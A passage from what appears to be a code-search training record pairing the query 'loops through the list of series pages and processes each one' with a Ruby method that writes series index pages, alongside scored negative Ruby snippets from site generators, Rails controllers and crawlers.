"def print_index\n\t\tFile.open(@options[:output] + \"/index.html\",'w') do |f|\n\t\t\thtml_header(f,\"Home\")\n\n\t\t\tbar_js(f,\"bar_graph\",\"Top 20 Hosts\",@hosts.sort_by{|k,v| v[:total_excl_info]}.reverse.take(20))\n\n\t\t\tcrit_total = 0\n\t\t\thigh_total = 0\n\t\t\tmed_total = 0\n\t\t\tlow_total = 0\n\t\t\tinfo_total = 0\n\n\t\t\t@events.each do |k,v|\n\t\t\t\tcrit_total += 1 if v[:severity] == 4\n\t\t\t\thigh_total += 1 if v[:severity] == 3\n\t\t\t\tmed_total += 1 if v[:severity] == 2\n\t\t\t\tlow_total += 1 if v[:severity] == 1\n\t\t\t\tinfo_total += 1 if v[:severity] == 0\n\t\t\tend\n\n\t\t\tpie_data = []\n\t\t\tpie_data << ['Info',info_total.to_i,'blue'] if @options[:severity] <= 0 and info_total.to_i >= 0\n\t\t\tpie_data << ['Low',low_total.to_i,'green'] if @options[:severity] <= 1 and low_total.to_i > 0\n\t\t\tpie_data << ['Medium',med_total.to_i,'orange'] if @options[:severity] <= 2 and med_total.to_i > 0\n\t\t\tpie_data << ['High',high_total.to_i,'red'] if @options[:severity] <= 3 and high_total.to_i > 0\n\t\t\tpie_data << ['Critical',crit_total.to_i,'purple'] if @options[:severity] <= 4 and crit_total.to_i > 0\n\n\t\t\tpie_js(f,\"pie_graph\",\"Unique Vulnerability Breakdown\",\"Unique Vuln Breakdown\",pie_data,\"document.location.href = 'vuln_overview.html';\")\n\n\t\t\tcrit_total = 0\n\t\t\thigh_total = 0\n\t\t\tmed_total = 0\n\t\t\tlow_total = 0\n\t\t\tinfo_total = 0\n\n\t\t\t@hosts.each do |id,values|\n\t\t\t\tcrit_total += values[:crit].to_i\n\t\t\t\thigh_total += values[:high].to_i\n\t\t\t\tmed_total += values[:med].to_i\n\t\t\t\tlow_total += values[:low].to_i\n\t\t\t\tinfo_total += values[:info].to_i\n\t\t\tend\n\n\t\t\tpie_data = []\n\t\t\tpie_data << ['Info',info_total.to_i,'blue'] if @options[:severity] <= 0 and info_total.to_i >= 0\n\t\t\tpie_data << ['Low',low_total.to_i,'green'] if @options[:severity] <= 1 and low_total.to_i > 0\n\t\t\tpie_data << ['Medium',med_total.to_i,'orange'] if @options[:severity] <= 2 and med_total.to_i > 0\n\t\t\tpie_data << ['High',high_total.to_i,'red'] if @options[:severity] <= 3 and high_total.to_i > 0\n\t\t\tpie_data << ['Critical',crit_total.to_i,'purple'] if @options[:severity] <= 4 and crit_total.to_i > 0\n\n\t\t\tpie_js(f,\"pie_graph2\",\"Total Vulnerability Breakdown\",\"Total Vuln Breakdown\",pie_data,\"document.location = href= 'vuln_overview.html';\")\n\n\t\t\ttarget_lookup = \"var target_lookup = {\"\n\t\t\t@hosts.each_with_index do |host,index|\n\t\t\t\tif host[1][:hostname] == \"\"\n\t\t\t\t\ttarget_lookup += \"'\" + host[1][:ip] + \"'\"\n\t\t\t\telse\n\t\t\t\t\ttarget_lookup += \"'\" + host[1][:hostname] + \" (\" + host[1][:ip] + \")\" + \"'\"\n\t\t\t\tend\n\t\t\t\ttarget_lookup += \": \" + host[0].to_s\n\t\t\t\ttarget_lookup += \",\" unless index == @hosts.length - 1\n\t\t\tend\n\t\t\ttarget_lookup += \"}\"\n\n\t\t\tf.puts target_lookup\n\n\t\t\tclose_html_header(f)\n\n\t\t\tbody = '<div style=\"width: 800px; margin-left: auto; margin-right: auto; padding-top: 30px;\">'\n\t\t\tbody += '<div id=\"pie_graph\" style=\"min-width: 375px; height: 375px; margin: 0 auto; float: left\"></div>'\n\t\t\tbody += '<div id=\"pie_graph2\" style=\"min-width: 375px; height: 375px; margin: 0 auto; float: left\"></div>'\n\t\t\tbody += '</div>'\n\t\t\tbody += '<div style=\"clear: both;\"></div>'\n\t\t\tbody += '<div id=\"bar_graph\" style=\"min-width: 400px; height: 900px; margin: 0 auto\"></div>'\n\n\t\t\tbody += '<div id=\"allhosts\" style=\"font-family: Arial, Helvetica, sans-serif\"><h3>All Hosts</h3>'\n\n\t\t\tips = []\n\t\t\t@hosts.each do |host|\n\t\t\t\tips << host[1][:ip]\n\t\t\tend\n\n\t\t\tbody += '<table id=\"hosts_table\" class=\"display\"><thead><tr><th>IP</th><th>Hostname</th><th>OS</th><th>Vulnerability Count (Low to Critical)</th></tr></thead><tbody>'\n\t\t\tips.sort_by{|ip| ip.split('.').map{|octet| octet.to_i}}.each do |ip|\n\t\t\t\t@hosts.select{|k,v| v[:ip] == ip}.each do |k,v|\n\t\t\t\t\ttmp_actual_v_count = 0\n\t\t\t\t\ttmp_actual_v_count += v[:info].to_i if @options[:severity] <= 0 and v[:info].to_i >= 0\n\t\t\t\t\ttmp_actual_v_count += v[:low].to_i if @options[:severity] <= 1 and v[:low].to_i > 0\n\t\t\t\t\ttmp_actual_v_count += v[:med].to_i if @options[:severity] <= 2 and v[:med].to_i > 0\n\t\t\t\t\ttmp_actual_v_count += v[:high].to_i if @options[:severity] <= 3 and v[:high].to_i > 0\n\t\t\t\t\ttmp_actual_v_count += v[:crit].to_i if @options[:severity] <= 4 and v[:crit].to_i > 0\n\t\t\t\t\tbody += '<tr><td>'\n\t\t\t\t\tif tmp_actual_v_count > 0\n\t\t\t\t\t\tbody += '<a href=\"host_' + k.to_s + '.html\">' + ip + '</a>'\n\t\t\t\t\telse\n\t\t\t\t\t\tbody += ip\n\t\t\t\t\tend\n\t\t\t\t\tbody += '</td><td>' + v[:hostname] + '</td><td>' + v[:os] + '</td><td>' + v[:total_excl_info].to_s + '</td></tr>'\n\t\t\t\tend\n\t\t\tend\n\t\t\tbody += '</tbody></table>'\n\n\t\t\tbody += '<script>$(document).ready(function() { $(\\'#hosts_table\\').dataTable({\"bPaginate\": false}); });</script>'\n\n\t\t\tbody_text(f,body)\n\n\t\t\tclose_all(f)\n\n\t\tend\n\n\tend",
"def generate_html\n # the individual descriptions for files and classes\n gen_into(@files)\n gen_into(@classes)\n # and the index files\n gen_file_index\n gen_class_index\n gen_method_index\n gen_main_index\n\n # this method is defined in the template file\n write_extra_pages if defined? write_extra_pages\n end",
"def render!\n write_out('HTML', 'index.html', @html_template.render)\n write_out('feed', 'feed.xml', @feed_template.render)\n end",
"def write_speaker_indexes\n\n if self.layouts.key? 'speaker_index'\n dir = self.config['speaker_dir'] || 'speakers' \n self.posts.docs.each do |post|\n post_speakers = post.data[\"speakers\"]\n if String.try_convert(post_speakers)\n post_speakers = [ post_speakers ]\n end\n post_speakers.each do |speaker|\n self.write_speaker_index(File.join(dir, speaker.downcase.gsub(' ', '-')), speaker)\n end unless post_speakers.nil?\n end\n # Throw an exception if the layout couldn't be found.\n else\n throw \"No 'speaker_index' layout found.\"\n end\n end",
"def generate_pages(count: , &block)\n dir = @dir.join(\"pages\")\n FileUtils.mkdir_p dir.join(\"pages\")\n next_page_name.take(count).map do |page_name|\n path = dir.join(page_name)\n block ? block.call(path) : File.write(path, '<h1>Some glorius content!</h1>')\n @pages.push path\n end\n end",
"def create\n @new_series = ConventionSeries.new(convention_series_params)\n authorize @new_series\n if @new_series.save\n flash[:notice] = \"Series created successfully\"\n redirect_to convention_series_path(@new_series)\n else\n flash[:alert] = \"Error creating series\"\n @series = ConventionSeries.all\n render :index\n end\n end",
"def generate(site)\n puts 'Running the search indexer...'\n\n # gather pages and posts\n items = pages_to_index(site)\n content_renderer = PageRenderer.new(site)\n index = []\n\n items.each do |item|\n entry = SearchEntry.create(item, content_renderer)\n\n entry.strip_index_suffix_from_url! if @strip_index_html\n entry.strip_stopwords!(stopwords, @min_length) if File.exists?(@stopwords_file) \n \n index << {\n :title => entry.title, \n :url => entry.url,\n :date => entry.date,\n :categories => entry.categories,\n :body => entry.body\n }\n \n puts 'Indexed ' << \"#{entry.title} (#{entry.url})\"\n end\n \n json = JSON.generate({:entries => index})\n \n # Create destination directory if it doesn't exist yet. Otherwise, we cannot write our file there.\n Dir::mkdir(site.dest) unless File.directory?(site.dest)\n \n # File I/O: create search.json file and write out pretty-printed JSON\n filename = 'search.json'\n \n File.open(File.join(site.dest, filename), \"w\") do |file|\n file.write(json)\n end\n\n File.open(File.join('.', filename), \"w\") do |file|\n file.write(json)\n end\n\n # Keep the search.json file from being cleaned by Jekyll\n site.static_files << Jekyll::SearchIndexFile.new(site, site.dest, \"/\", filename)\n end",
"def set_series\n @series = Series.friendly.find(params[:id])\n end",
"def index\n respond_to do |format|\n format.html { render_template } # index.html.erb\n format.xml { render xml: @label_sheets }\n end\n end",
"def generate(site)\n if site.layouts.key? 'tag_index'\n dir = site.config['tag_dir'] || 'tag'\n ## Create Top level tag list /tag/index.html\n write_all_tags_index(site, dir, site.tags.keys.sort_by { |x| x.downcase } )\n \n ## Create /tag/{{tag}}/index.html\n site.tags.keys.each do |tag|\n write_tag_index(site, File.join(dir, tag.to_url), tag)\n end\n end\n end",
"def generate_all_teachers_index(site)\n # puts \"55555555555555555555555555555555555555555555555555555555\"\n allTeachers = AllTeachersIndex.new(site, site.source, \"/pages/teachers\")\n allTeachers.render(site.layouts, site.site_payload)\n allTeachers.write(site.dest)\n\n site.pages << allTeachers\n site.static_files << allTeachers\n end",
"def write_page(name, format, data, commit = {})\n index = nil\n sha1 = commit_index(commit) do |idx|\n index = idx\n add_to_index(index, '', name, format, data)\n end\n\n @access.refresh\n update_working_dir(index, '', name, format)\n\n sha1\n end",
"def index\n $current_loc = \"/index\"\n header \"/index\"\n stack(margin:[40,0,40,0]) do\n\t stack do\n\t $collection.each_category do |cat_name, cat_set|\n\t stack(margin: 20) do\n\t\t subtitle cat_name\n\t\t cat_set.each do |subcat_name, subcat_set|\n\t\t stack(margin: 10) do\n\t\t\ttagline subcat_name\n\t\t\tshow_subcat(subcat_set)\n\t\t end # stack (subcategory)\n\t\t end # each subcategory\n\t end # stack (category)\n\t end # each category\n\t end # stack (collection)\n end # stack (main)\n footer\n end",
"def process_pages\n bindings = {\n :name => @definition.get_name,\n :version => @definition.get_version\n }\n\n page = Calamum::DocGenerator.new(:view)\n @definition.resources.each do |methods|\n methods[1].each do |resource|\n bindings.merge!(:resource => resource)\n filename = \"#{resource.slug}.html\"\n page.save_template(filename, bindings)\n end\n end\n end",
"def index\n render json: {seasons: @serial.seasons, series: @serial}\n end",
"def set_series\n @series = Serie.find(params[:id])\n end",
"def multiple_series\n render :layout => false\n end",
"def write_series_name(series) # :nodoc:\n if name = series[:_name_formula]\n write_tx_formula(name, series[:_name_id])\n elsif name = series[:_name]\n write_tx_value(name)\n end\n end",
"def index\n @live_stream_series = LiveStreamSeries.all\n respond_with(@live_stream_series)\n end",
"def index\n @exercicio_series = ExercicioSerie.all\n end",
"def create\n @series = Series.new(params[:series])\n if @series.save\n flash[:notice] = t('successfully_created', :default => 'Series was successfully created.')\n redirect_to(@series)\n else\n render :action => \"new\"\n end\n end",
"def create_chart_series(name, slide_index, shape_index, series, password = nil, folder = nil, storage = nil)\n data, _status_code, _headers = create_chart_series_with_http_info(name, slide_index, shape_index, series, password, folder, storage)\n data\n end",
"def write(dest_prefix, dest_suffix = nil)\n dest = File.join(dest_prefix, @dir)\n dest = File.join(dest, dest_suffix) if dest_suffix\n FileUtils.mkdir_p(dest)\n\n # The url needs to be unescaped in order to preserve the correct filename\n path = File.join(dest, CGI.unescape(self.url))\n if self.ext == '.html' && self.url[/\\.html$/].nil?\n FileUtils.mkdir_p(path)\n path = File.join(path, \"index.html\")\n end\n\n File.open(path, 'w') do |f|\n f.write(self.output)\n end\n end",
"def index\n if params[:user_id]\n @user = User.find_by_login(params[:user_id])\n if params[:pseud_id]\n @author = @user.pseuds.find_by_name(params[:pseud_id])\n @series = @author.series.select{|s| s.visible?(current_user)}.sort_by(&:revised_at).reverse\n else\n @series = @user.series.select{|s| s.visible?(current_user)}.sort_by(&:revised_at).reverse\n end\n else\n @series = Series.find(:all).select{|s| s.visible?(User.current_user)}.sort_by(&:revised_at).reverse\n end\n @series = @series.paginate(:page => params[:page])\n end",
"def create\n @series = Series.new(series_params)\n\n respond_to do |format|\n if @series.save\n format.html { redirect_to @series, notice: 'Series was successfully created.' }\n format.json { render action: 'show', status: :created, location: @series }\n else\n format.html { render action: 'new' }\n format.json { render json: @series.errors, status: :unprocessable_entity }\n end\n end\n end",
"def build_document_xmls()\n unless @test_environment\n puts \"Creating Solr XML files (#{@batch_size} docs per file)...\"\n end\n \n doc_chunks = @document_cache_keys.keys.chunk( @batch_size )\n doc_chunks.each_index do |chunk_number|\n unless @test_environment\n puts \"[ #{chunk_number + 1} / #{doc_chunks.size} ]\"\n end\n \n doc_names = doc_chunks[chunk_number]\n docs = []\n doc_names.each do |name|\n docs.push( get_document( name ) )\n end\n \n file = File.open( \"solr-xml-#{chunk_number+1}.xml\", \"w\" )\n file.print solr_document_xml(docs)\n file.close\n end\n end",
"def generate\n setup\n\n write_style_sheet\n generate_index\n generate_class_files\n generate_file_files\n generate_table_of_contents\n @json_index.generate\n @json_index.generate_gzipped\n\n copy_static\n\n rescue => e\n debug_msg \"%s: %s\\n %s\" % [\n e.class.name, e.message, e.backtrace.join(\"\\n \")\n ]\n\n raise\n end",
"def add_series(series)\n type_check(series, :series)\n Series.create(series)\n end",
"def generate_archives(layout)\n return unless config.archive_enabled?\n\n template = Liquid::Template.parse(File.read(\"_templates/archive_page.html\"))\n\n months = posts.group_by { |post| Date.new(post.created.year, post.created.month) }\n\n months.each do |month, posts|\n archive_path = tmp_path(archive_url_for_date(month))\n \n FileUtils.mkdir_p(archive_path)\n\n File.open(File.join(archive_path, \"index.html\"), \"w\") do |f|\n f.puts layout.render!(\"content\" => template.render!(\"site\" => self, \"month\" => month, \"posts\" => posts))\n end\n end\n end",
"def index\n #Page.all is fine for small sets of data, for larger sets pagination would be best\n @pages = data_cache('pages', 10.minutes) do\n Page.all\n end\n respond_to do |format|\n format.json { render action: 'index', status: :ok, location: api_pages_url(@pages) }\n format.xml { render xml: @pages, location: api_pages_url(@pages) }\n end\n end",
"def index_for objects, html_options = {}, &block\n html_options = html_options.dup\n\n tag = html_options[:table_tag] || IndexFor.table_tag\n\n klass = html_options[:klass] || objects.try(:klass) || objects.first.class\n\n html_options[:id] ||= index_for_id(klass)\n html_options[:class] = index_for_class(klass, html_options)\n\n head = index_for_head(klass.new, html_options, &block)\n body = index_for_body(objects, html_options, &block)\n content = head + body\n\n content_tag(tag, content, html_options)\n end",
"def files_to_page\n insert_to_page('div', html)\n insert_to_page('script', js, false)\n insert_to_page('style', style, false)\n end",
"def write_series_name(series) # :nodoc:\n if series.name_formula\n write_tx_formula(series.name_formula, series.name_id)\n elsif series.name\n write_tx_value(series.name)\n end\n end",
"def render_index(updates)\n @updates = updates\n set_pagination\n render :index, :layout => show_layout?\n end",
"def index\n get_own_documents\n if @page > @pages_amount && @pages_amount != 0\n @page = @pages_amount\n get_own_documents\n end\n render_js_or_html_index\n end",
"def index\n @tv_series = TvSerie.all\n end",
"def create\n # Series form passes in a series title string that needs to be mapped\n @series = Series.new(series_params)\n respond_to do |format|\n if @series.save\n format.html { redirect_to @series, notice: 'Series was successfully created.' }\n format.json { render :show, status: :created, location: @series }\n else\n format.html { render :new_physical_object }\n format.json { render json: @series.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @series = Series.new(series_params)\n \n respond_to do |format|\n if @series.save\n format.html { redirect_to @series, notice: 'Series was successfully created.' }\n format.json { render :show, status: :created, location: @series }\n else\n format.html { render :new }\n format.json { render json: @series.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.68740076",
"0.60683554",
"0.60683554",
"0.58662814",
"0.5787246",
"0.5773513",
"0.5765061",
"0.5740758",
"0.5740758",
"0.5740758",
"0.55970913",
"0.5594287",
"0.55917275",
"0.55168784",
"0.54875255",
"0.5478108",
"0.5463077",
"0.54525703",
"0.54490393",
"0.54209954",
"0.5378554",
"0.5362846",
"0.5341745",
"0.5304289",
"0.52982634",
"0.5297838",
"0.5281899",
"0.5273296",
"0.52672637",
"0.52655417",
"0.52467173",
"0.52467173",
"0.5232159",
"0.5219574",
"0.5211697",
"0.5200239",
"0.5182578",
"0.51755625",
"0.5151942",
"0.51246274",
"0.5113755",
"0.5104809",
"0.5093986",
"0.5080901",
"0.5079051",
"0.50730044",
"0.5072415",
"0.5068642",
"0.5064433",
"0.50643265",
"0.5043754",
"0.5038926",
"0.5019241",
"0.50002337",
"0.49924913",
"0.4963256",
"0.4916588",
"0.4914511",
"0.48936197",
"0.48896244",
"0.48870778",
"0.48846585",
"0.48755077",
"0.48678666",
"0.48626837",
"0.4823247",
"0.48215786",
"0.48186186",
"0.48123875",
"0.4800003",
"0.4799825",
"0.4798524",
"0.47808048",
"0.4777116",
"0.47770193",
"0.47740218",
"0.47729555",
"0.47652072",
"0.476288",
"0.4762253",
"0.4751184",
"0.4751143",
"0.47371945",
"0.47368023",
"0.47348472",
"0.47325233",
"0.47313222",
"0.47277546",
"0.4717393",
"0.47168127",
"0.47104004",
"0.4705322",
"0.4704282",
"0.47012252",
"0.46996817",
"0.46985587",
"0.4696401",
"0.4695445",
"0.4694473",
"0.46901694"
] | 0.7945249 | 0 |
Loops through the list of series pages and processes each one. | def write_series_indexes
series_posts = {}
series = posts.docs.flat_map { |p| p.data["series"] }.compact.uniq
series.each do |name|
safe_name = name.gsub(/_|\P{Word}/, '-').gsub(/-{2,}/, '-').downcase
path = File.join("series", safe_name)
this_series_posts = posts.select { |p| p.data["series"] == name }.sort { |x, y| x.date <=> y.date }
series_posts[name] = this_series_posts
authors = this_series_posts.map { |p| p.data["author"] }.flatten.uniq.map { |key| self.config['authors'][key] }
write_series_index(path, name, series_posts, authors)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def post_process(pages)\n end",
"def ingest_pages\n if @has_mets\n # This is basically equivalent to the BookPackage processing.\n sequence = 0\n @table_of_contents.unique_pages.each do |entry|\n sequence += 1\n label = entry.title ? Utils.xml_escape(entry.title) : \"Page #{sequence}\"\n @component_objects.push ingest_page(entry.image_filename, label, sequence)\n end\n else\n # NewspaperIssue packages don't necessarily have to have a METS file, so we do the best we can do.\n sequence = 0\n @page_filenames.each do |image_filename|\n sequence += 1\n @component_objects.push ingest_page(image_filename, \"Page #{sequence}\", sequence)\n end\n end\n\n if @manifest.embargo\n @component_objects.each do |pid|\n @drupal_db.add_embargo pid, @manifest.embargo['rangeName'], @manifest.embargo['endDate']\n end\n end\n end",
"def process(pages)\n robot = Robots.new USER_AGENT\n until pages.nil? or pages.empty? \n newfound_pages = []\n pages.each { |page|\n begin\n if add_to_index?(page) then \n uri = URI.parse(page)\n host = \"#{uri.scheme}://#{uri.host}\"\n open(page, \"User-Agent\" => USER_AGENT) { |s|\n (Hpricot(s)/\"a\").each { |a| \n url = scrub(a.attributes['href'], host)\n newfound_pages << url unless url.nil? or !robot.allowed? url or newfound_pages.include? url\n }\n } \n end\n rescue => e \n print \"\\n** Error encountered crawling - #{page} - #{e.to_s}\"\n rescue Timeout::Error => e\n print \"\\n** Timeout encountered - #{page} - #{e.to_s}\"\n end\n }\n pages = newfound_pages\n File.open(LAST_CRAWLED_PAGES, 'w') { |out| YAML.dump(newfound_pages, out) }\n end \n end",
"def process(pages)\n robot = Robots.new USER_AGENT\n until pages.nil? or pages.empty?\n newfound_pages = []\n pages.each { |page|\n begin\n if add_to_index?(page) then\n uri = URI.parse(page)\n host = "#{uri.scheme}://#{uri.host}"\n open(page, "User-Agent" => USER_AGENT) { |s|\n (Hpricot(s)/"a").each { |a|\n url = scrub(a.attributes['href'], host)\n newfound_pages << url unless url.nil? or !robot.allowed? url or newfound_pages.include? url\n }\n }\n end\n rescue => e\n print "\\n** Error encountered crawling - #{page} - #{e.to_s}"\n rescue Timeout::Error => e\n print "\\n** Timeout encountered - #{page} - #{e.to_s}"\n end\n }\n pages = newfound_pages\n File.open(LAST_CRAWLED_PAGES, 'w') { |out| YAML.dump(newfound_pages, out) }\n end",
"def ingest_pages\n @table_of_contents.unique_pages.each_with_index do |entry, index|\n label = entry ? Utils.xml_escape(entry.title) : \"Page #{index + 1}\"\n @component_objects.push ingest_page(entry.image_filename, label, index + 1)\n end\n\n if @manifest.embargo\n @component_objects.each do |pid|\n @drupal_db.add_embargo pid, @manifest.embargo['rangeName'], @manifest.embargo['endDate']\n end\n end\n end",
"def process_pages()\n unless Dir.exist?(node_files_path)\n raise \"Path to downloaded pages '#{node_files_path}' does not exist\"\n end\n\n Dir.glob(File.join(node_files_path, '*')) do |file_name|\n puts \"Processing: #{file_name}\"\n\n document = File.open(file_name) { |f| Nokogiri::HTML(f) }\n elements = document.xpath(\"//div[@class = 'debug-data-item']\")\n node_data = Hash.new\n\n elements.each do |e|\n name = e['data-name']\n value = e['data-value']\n node_data[name] = value\n end\n\n @nodes << node_data\n serialise(node_data)\n end\n end",
"def scrape\n scraped_articles=[]\n scraped_articles=scrape_articles(false)\n # Iterate through the API List\n scraped_articles['response']['docs'].each do |item|\n process_item (item)\n end\n end",
"def process_page(response, logs)\n\t\tblobs = response.json()\n \t\turi_list = Array.new\n \t\tblobs.each do |blob|\n \t\t\turi_list.push(blob['contentUri'])\n \t\tend\n\t\tParallel.each(uri_list, in_threads: uri_list.count) do |uri|\n \t\t#Parallel.each(uri_list, in_threads: 10) do |uri|\n \t\t\tprocess_blob(uri, logs)\n \t\tend\n\tend",
"def run\n reset!\n\n pages.each do |page|\n log.puts\n\n if page.respond_to?(:read)\n html = page.read\n elsif page.respond_to?(:call)\n result = instance_eval(&page)\n\n html = case result\n when String\n result\n else\n @agent.page.body\n end\n else\n begin\n html = fetch(page)\n rescue FetchError => e\n log.puts(e.message.red)\n next\n end\n end\n\n process!(html)\n end\n\n report\n\n selectors_to_review\n end",
"def walk_pages (page)\n\n # extract page content\n if page[:Type] == :Pages\n callback(:begin_page_container, [page])\n res = @xref.object(page[:Resources])\n resources.push res if res\n @xref.object(page[:Kids]).each {|child| walk_pages(@xref.object(child))}\n resources.pop if res\n callback(:end_page_container)\n elsif page[:Type] == :Page\n callback(:begin_page, [page])\n res = @xref.object(page[:Resources])\n resources.push res if res\n walk_resources(current_resources)\n\n if @xref.object(page[:Contents]).kind_of?(Array)\n contents = @xref.object(page[:Contents])\n else\n contents = [page[:Contents]]\n end\n\n fonts = font_hash_from_resources(current_resources)\n\n if page.has_key?(:Contents) and page[:Contents]\n contents.each do |content|\n obj = @xref.object(content)\n content_stream(obj, fonts)\n end \n end\n\n resources.pop if res\n callback(:end_page)\n end\n end",
"def each_page(&block); end",
"def single_scrape\n next_page()\n save_page()\nend",
"def collect_pages\n #find page terminator\n start_line = 0\n current_line = 0\n @lines.each_with_index do |line, i|\n current_line = i\n if end_of_page?(line, i)\n @pages << Page.new(start_line, i) # every page in raw document\n start_line = i + 1 \n end \n end #end of line.each\n \n if current_line > start_line\n page = Page.new(start_line, current_line)\n @pages << page\n end\n #puts \" collect_pages found #{@pages.length} pages\"\n @pages \n end",
"def pages; end",
"def craw_result_page_urls\n start_time = Time.now\n agent = touch_and_customize_cookies\n \n detail_urls = []\n page_indexes = (0..245)\n\n Parallel.each(page_indexes, :in_threads => 2, :in_processes => 2) do |page_index|\n # (0..245).each do |page_index|\n url = \"http://www.smc.gov.sg/PRSCPDS/scripts/profSearch/searchList.jsp?page=#{page_index}&spectext=\" \n search_results = agent.post(url)\n search_results.search(\".displayTabledata a\").each do |link|\n COLL.insert(:url => link.attribute(\"href\").value)\n end\n end\n p Time.now - start_time\nend",
"def craw_result_page_urls\n start_time = Time.now\n agent = touch_and_customize_cookies\n \n detail_urls = []\n page_indexes = (0..245)\n\n Parallel.each(page_indexes, :in_threads => 2, :in_processes => 2) do |page_index|\n # (0..245).each do |page_index|\n url = \"http://www.smc.gov.sg/PRSCPDS/scripts/profSearch/searchList.jsp?page=#{page_index}&spectext=\" \n search_results = agent.post(url)\n search_results.search(\".displayTabledata a\").each do |link|\n COLL.insert(:url => link.attribute(\"href\").value)\n end\n end\n p Time.now - start_time\nend",
"def each_page\n page_obj = load_page(1)\n loop do\n yield page_obj\n break unless page_obj.has_next?\n page_obj = load_page(page_obj.next_page)\n end\n end",
"def get_all_das(page)\n\n while (is_available(page)) do\n\n get_all_das_in_page(page)\n\n page = get_next_page(page)\n\n end\n\nend",
"def get_all_das(page)\n\n while (is_available(page)) do\n\n get_all_das_in_page(page)\n\n page = get_next_page(page)\n\n end\n\nend",
"def all_pages(list_page_url)\n max_page_count = get_max_page_count(list_page_url)\n puts \"max_page_count: #{max_page_count}\"\n (1..max_page_count).each do |page_num|\n begin\n puts \"Crawling page ##{page_num} of #{max_page_count}\"\n page = Nokogiri::HTML(open(url_for_page(list_page_url, page_num)))\n yield(page)\n rescue => e\n puts \"Failed to crawl page: #{e.message}\"; next\n end\n sleep(SLEEP_INTERVAL)\n end\n end",
"def run(pages)\n clean\n\n prototype_fetcher.fetch_pages(pages.map {|p| p[:prototype]})\n app_fetcher.fetch_pages\n\n normalised_html_files = pages.map do |i|\n {\n prototype_file: prototype_fetcher.get_normalised_filename(i[:prototype]),\n app_file: app_fetcher.get_normalised_filename(i[:app])\n }\n end\n\n diff_files = normalised_html_files.map do |i|\n generate_diff(i)\n end\n\n output_report diff_files\n end",
"def process_pages\n bindings = {\n :name => @definition.get_name,\n :version => @definition.get_version\n }\n\n page = Calamum::DocGenerator.new(:view)\n @definition.resources.each do |methods|\n methods[1].each do |resource|\n bindings.merge!(:resource => resource)\n filename = \"#{resource.slug}.html\"\n page.save_template(filename, bindings)\n end\n end\n end",
"def load_series! api\n @seasons = 1 # determined later\n @episodes = []\n current_season = 1\n begin\n season_url = url + '/episodes?season=%d' % current_season\n load_season!(api, season_url, current_season)\n current_season+=1\n end until current_season > @seasons\n\n # number all episodes\n num = 1\n @seasons.times do |season|\n sorted_episodes = get_season(season+1).sort_by {|epi| epi.episode}\n sorted_episodes.each do |epi|\n epi.number = num\n num += 1\n #debug '%s S%02dE%02d [%d] -- %s' % [title, epi.season, epi.episode, epi.number, epi.airdate]\n end\n end\n\n # remove pages:\n @episodes.each do |episode|\n episode.page = nil\n end\n\n @series_loaded = true\n end",
"def scrape_more_pages\n\n pages_to_scrape = 0\n\n clear_screen\n clear_screen\n\n # loop untl we get a valid number of pages to scrape\n until pages_to_scrape != 0\n print \"\\nHow many pages would you like to scrape?: \".blue\n pages_to_scrape = gets.chomp.to_i\n end\n\n ending_page = last_scraped_page + pages_to_scrape # calculate our last page number\n @last_scraped_page += 1\n\n puts \"\\n\"\n (@last_scraped_page..ending_page).each.with_index(1) do |page, index|\n progress_bar(index.to_f / pages_to_scrape)\n @scraper.scrape_data_from_url(\"#{@scraper.base_url}#{page}\").each do |job_hash|\n FreelancerFinder::Job.new(job_hash) unless FreelancerFinder::Job.all.detect {|job| job.path == job_hash[:path]} # next create a job instance from the data we just scraped unless it exists already\n end\n end\n\n puts \"\\nSuccesfully Scraped #{pages_to_scrape} Pages!\".magenta\n\n @last_scraped_page = ending_page\n\n FreelancerFinder::Job.all\n end",
"def fetch_page_nodes\n (1..12).each do |file_name|\n body = File.open(\"#{Rails.root}/lib/wayfair_batch/#{file_name}.html\")\n @page_nodes.push(Nokogiri::HTML(body))\n end\n end",
"def process_page page_url\n page = SuperCrawler::Scrap.new(page_url) # Scrap the current page\n\n current_page_links = page.get_links # Get current page internal links\n new_links = current_page_links - @links # Select new links\n\n new_links.each { |link| @links_queue.push(link) } # Add new links to the queue\n @links += new_links # Add new links to the links list\n @crawl_results << { # Provide current page crawl result as a hash\n url: page.url, # The crawled page\n links: current_page_links, # Its internal links\n assets: page.get_assets # Its assets\n }\n\n SuperCrawler::Render.log_status( page_url, @crawl_results.length, @links.length ) if @option_debug # Display site crawling status\n end",
"def scrap_all_pages\n Shop.find(:all).each {|item|\n @g_template = item.template\n @g_shopid = item.id\n\n scrap_data_from_page(item.home_page_link)\n }\nend",
"def scrap_all_pages\n Shop.find(:all).each {|item|\n @g_template = item.template\n @g_shopid = item.id\n\n scrap_data_from_page(item.home_page_link)\n }\nend",
"def scrap_all_pages\n Shop.find(:all).each {|item|\n @g_template = item.template\n @g_shopid = item.id\n\n scrap_data_from_page(item.home_page_link)\n }\nend",
"def scrap_all_pages\n Shop.find(:all).each {|item|\n @g_template = item.template\n @g_shopid = item.id\n\n scrap_data_from_page(item.home_page_link)\n }\nend",
"def pages\n end",
"def scrape_all_movies\n\t\tscraper = MetacriticScraper.new\n\t\tindex_pages = YAML.load_file('index_pages.yml')\n\t\tmovies_pages = []\n \t\tindex_pages.each do | index_page |\n \t\t\tresult = scraper.scrape_for_movies(index_page)\n \t\t\tmovies_pages += result\n \t\t\tp \"CURRENT INDEX PAGE IS #{index_page}\"\n\n \t\t\t# because we get blocked scraping - we write the movies list each time\n \t\t\tFile.open(\"movies_list.yml\", \"w+\") do |f|\n\t \tf.write(movies_pages.to_yaml)\n\t \tf.close\n\t \tend\n\n \t\t\tsleep(rand(2..3))\n \t\tend\n\tend",
"def render_all\n @data_loader.pages.each { |p| render_page p }\n @data_loader.multi_pages.each { |m| render_multi m }\n end",
"def crawlAllPages\n page = 1\n loop do\n puts \"Path: #{@basePath}#{page.to_s}\"\n path \"#{@basePath}#{page.to_s}\"\n\n response = crawl\n @dbm.insertCrawlerBlob response[\"beers\"]\n\n break if response[\"more\"].nil?\n page += 1\n end\n end",
"def get_pages\n @pages << base_gallery_url\n (@doc/\"a\").select{|a| a[\"href\"] =~ /ndxpage/}.each do |e|\n @pages << base_gallery_url_prefix + e[\"href\"]\n end\n puts \"got pages!\"\n puts @pages.inspect\n puts \"---\"\n end",
